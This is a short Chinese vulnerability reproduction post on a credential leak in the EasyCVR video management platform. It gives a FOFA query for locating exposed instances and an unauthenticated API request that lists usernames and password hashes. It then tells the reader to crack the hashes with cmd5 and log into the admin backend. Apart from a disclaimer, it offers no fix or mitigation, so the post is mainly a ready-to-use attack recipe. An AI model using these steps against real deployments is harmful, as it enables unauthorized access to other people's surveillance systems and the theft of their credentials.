EasyCVR 视频管理平台存在信息泄露

EasyCVR 视频管理平台存在信息泄露

  • 一、漏洞描述
  • 二、漏洞复现
    • 相关POC
  • 三、自动化复现
    • 回显的主要信息
    • 登录后台

免责声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、漏洞描述

EasyCVR 视频管理平台是 TSINGSEE 青犀视频旗下一款软硬一体的产品,可提供多协议的设备接入、采集、AI 智能检测、处理、分发等服务,攻击者可通过泄露的账户密码登录后台,从而进一步攻击。

二、漏洞复现

fofa:title=“EasyCVR”

EasyCVR 视频管理平台存在信息泄露_第1张图片

相关POC

poc /api/v1/userlist?pageindex=0&pagesize=10

EasyCVR 视频管理平台存在信息泄露_第2张图片

三、自动化复现

直接使用小龙POC检测脚本

EasyCVR 视频管理平台存在信息泄露_第3张图片

回显的主要信息

1、用户名
2、password(注意,这个需要用cmd5解密)
EasyCVR 视频管理平台存在信息泄露_第4张图片

登录后台

EasyCVR 视频管理平台存在信息泄露_第5张图片

你可能感兴趣的:(网络安全漏洞复现,网络安全,python,渗透测试工具)